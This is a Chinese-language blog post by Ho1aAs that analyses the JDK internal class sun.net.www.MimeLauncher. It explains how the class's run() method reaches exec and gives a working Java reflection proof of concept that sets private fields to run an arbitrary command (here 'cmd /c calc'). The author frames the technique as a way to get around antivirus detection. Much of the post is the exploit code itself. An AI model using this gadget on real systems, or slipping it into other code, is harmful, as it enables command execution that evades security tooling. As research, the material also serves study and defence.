文章目录
前言
rt.jar内的
sun.net.www.MimeLauncher
类的run方法调用了exec
据说可以有效绕过某些免杀,下面分析一下调用过程
MimeLauncher
run()
首先:调用了this.m.getTempFileTemplate()方法,this.m是构造器传入的·MimeEntry类,
getTempFileTemplate()
方法返回了String
MimeEntry.tempFileNameTemplate
然后run()接着调用了
this.getTempFileName()
,入参是
this.uc.getURL()
和上面拿到的String,this.uc是构造器传入的URLConnection,所以这里是获取了连接的URL
this.getTempFileName()
没什么限制,**只有第二行这里要保证传入字符串必须存在
%s
否则substring方法是会报错的**
接着run()下面调用了
this.is.read()
,this.is是传入的InputStream,要出这个while也很简单,只要保证read返回值<0即可,因此要重写一个read方法恒返回<0就行
后面就是一些字符串替换什么的了,然后直接执行this.execPath的命令
因此这个方法只涉及四个重要变量:
- 构造器传入MimeEntry:要求TempFileTemplate有一个%s
- 构造器传入URLConnection
- 构造器传入InputStream:要求重写read方法返回值 < 0
- this.execPath是待执行的命令
MimeLauncher()
类属性
看一下构造器,前三个是调用run必须的变量,后面两个没用到
这里对
this.m.getLaunchString()
进行了if判断,首先它获取了MimeEntry的command属性
然后这个MimeEntry的command属性必须是一个存在的文件才能返回true,而且此时this.execPath也就是待执行的命令会被MimeEntry.command所覆盖
这个方法涉及两个重要变量:
- 构造器传入MimeEntry:command属性必须是一个存在的文件
- this.execPath必须在构造器调用之后才能覆盖成待执行的命令
反射调用MimeLauncher.run()触发RCE
条件
总结一下:
- MimeEntry:TempFileTemplate为%s、command为一个存在的文件路径
- URLConnection:任意URL,即使只有协议头
http://
都可以 - InputStream:重写read()方法返回 < 0
- MimeLauncher:this.execPath是待执行命令
PoC
packageMimeLauncherTest;importsun.net.www.MimeEntry;importjava.net.URL;importjava.net.URLConnection;importjava.io.IOException;importjava.io.InputStream;importjava.lang.reflect.Field;importjava.lang.reflect.Method;importjava.lang.reflect.Constructor;publicclassExecTest{publicstaticvoidmain(String[] args)throwsException{String cmd ="cmd /c calc";MimeEntry mimeEntry =newMimeEntry("test");Class entryClass =Class.forName("sun.net.www.MimeEntry");Field tempFileTemplateField = entryClass.getDeclaredField("tempFileNameTemplate");
tempFileTemplateField.setAccessible(true);
tempFileTemplateField.set(mimeEntry,"%s");Field commandField = entryClass.getDeclaredField("command");
commandField.setAccessible(true);
commandField.set(mimeEntry,"C:\\Windows\\System32\\drivers\\etc\\hosts");URLConnection urlConnection =newURL("http://").openConnection();InputStream is =newInputStream(){@Overridepublicintread()throwsIOException{return-1;}};Class launcherClass =Class.forName("sun.net.www.MimeLauncher");Constructor mineLauncherConstructor = launcherClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,InputStream.class,String.class,String.class);
mineLauncherConstructor.setAccessible(true);Thread mimeLauncher =(Thread) mineLauncherConstructor.newInstance(mimeEntry, urlConnection, is,"","");Field execPathField = launcherClass.getDeclaredField("execPath");
execPathField.setAccessible(true);
execPathField.set(mimeLauncher, cmd);Method runMethod = launcherClass.getDeclaredMethod("run");
runMethod.setAccessible(true);
runMethod.invoke(mimeLauncher);}}
*因为创建了FileOutputStream,rce的同时会生成名称包含
HJ
的文件,详细逻辑可以在
getTempFileName()
查看(无伤大雅的小细节)*
完
欢迎关注我的CSDN博客 :@Ho1aAs
版权属于:Ho1aAs
本文链接:https://ho1aas.blog.csdn.net/article/details/127555739
版权声明:本文为原创,转载时须注明出处及本声明
版权归原作者 Ho1aAs 所有, 如有侵权,请联系我们删除。